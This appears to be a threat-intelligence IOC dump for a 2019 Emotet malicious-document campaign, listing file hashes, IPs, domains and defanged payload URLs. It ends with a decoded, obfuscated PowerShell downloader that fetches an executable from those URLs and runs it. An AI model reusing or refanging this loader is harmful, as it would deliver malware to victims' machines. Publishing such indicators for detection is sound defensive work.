Emotet_Doc_out_2019-09-24_23_06.txt

#Emotet #Docs #malware #OSINT #IOC

MD5:
99ece01627766e78d0e293c2e692b8d9
9e43a228ad364c58b374fe75811cd862
f9d50fabf5c5e7d315a21202e6820e6c
ce0dd4bddc836a454110df9e0bbffbec
8c5f75a99cd94aea802c58cbb44750ff
c6a8a4b8ab34cf8d34956e8447b11f1e
4b290e4a9c72a8ccb01a945a516d06e8


IPs:
104.28.4.10
104.28.5.10
162.241.48.174
201.131.96.138
46.242.253.95


Domains:
aysotogaziantep.com
krzewy-przemysl.pl
laalpina.cl
www.noshnow.co.uk
www.studiomovil.com.mx


URLs:
hxxps://www.studiomovil.com.mx/wp-content/erRpJAmInz/
hxxp://krzewy-przemysl.pl/wp-includes/yf1etsmsp_esqjtujn-589/
hxxp://laalpina.cl/sisi/cncXoJaqj/
hxxp://aysotogaziantep.com/wp-content/DSovUnSbnf/
hxxp://www.noshnow.co.uk/ybzew/wMaxwSMC/


Decoded Base64 Powershell:
$Bwsrjto='Zubv5q1';
$Ajjq36 = '191';
$Cm6zsc='Oasdq8zq';
$Ooju7v=$env:userprofile+'\'+$Ajjq36+'.exe';
$Q4izbvi1='Dpjju28f';
$Wiiiorcs=.('new'+'-obje'+'ct') NeT.webcLiEnt;
$Aolild='hxxps://www.studiomovil.com.mx/wp-content/erRpJAmInz/
hxxp://krzewy-przemysl.pl/wp-includes/yf1etsmsp_esqjtujn-589/
hxxp://laalpina.cl/sisi/cncXoJaqj/
hxxp://aysotogaziantep.com/wp-content/DSovUnSbnf/
hxxp://www.noshnow.co.uk/ybzew/wMaxwSMC/'."sPl`iT"('
');
$Zfw0sv7a='Cizdf5o5';
foreach($Nwj20ri in $Aolild){try{$Wiiiorcs."do`wnloA`dfi`le"($Nwj20ri, $Ooju7v);
$Grido7t='N1kctmb6';
If ((&('Get'+'-Ite'+'m') $Ooju7v)."len`gTh" -ge 23068) {[Diagnostics.Process]::"S`Tart"($Ooju7v);
$L8zu9is3='T355j92';
break;
$P2wsi3b='C5wjwuk9'}}catch{}}$O6ir5r='Y9aiakk'